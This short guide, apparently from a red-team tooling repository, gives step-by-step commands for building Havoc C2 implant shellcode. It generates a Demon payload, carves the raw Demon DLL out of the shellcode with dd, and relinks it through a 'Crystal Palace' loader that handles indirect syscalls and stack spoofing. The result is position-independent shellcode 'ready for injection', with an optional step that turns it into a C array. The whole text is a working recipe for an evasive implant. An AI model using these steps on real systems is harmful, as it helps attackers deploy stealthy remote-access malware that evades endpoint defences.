Havoc's UI doesn't expose the raw Demon DLL directly, so we need to extract it from the generated shellcode.

Step 1 — Generate shellcode in Havoc UI

Generate the shellcode payload with your desired configuration. Make sure to disable Havoc's built-in indirect syscalls and stack spoofing — Crystal Palace handles those.

Step 2 — Extract the raw Demon DLL

The generated shellcode is just the reflective loader prepended to the raw Demon DLL. Strip the loader off:

dd if=demon.x64.bin of=core.x64.dll bs=1 skip=1535

The offset 1535 is the size of the reflective loader shellcode for this build configuration. It can vary between Havoc versions. Check the actual size after building:

wc -c Havoc/payloads/Shellcode/Shellcode.x64.bin

Step 3 — Link with Crystal Palace

./dist/link loader/loader.spec core.x64.dll crystal_havoc.bin

The output crystal_havoc.bin is position-independent shellcode ready for injection.

Optionally convert to a C array:

xxd -i crystal_havoc.bin > crystal_havoc.h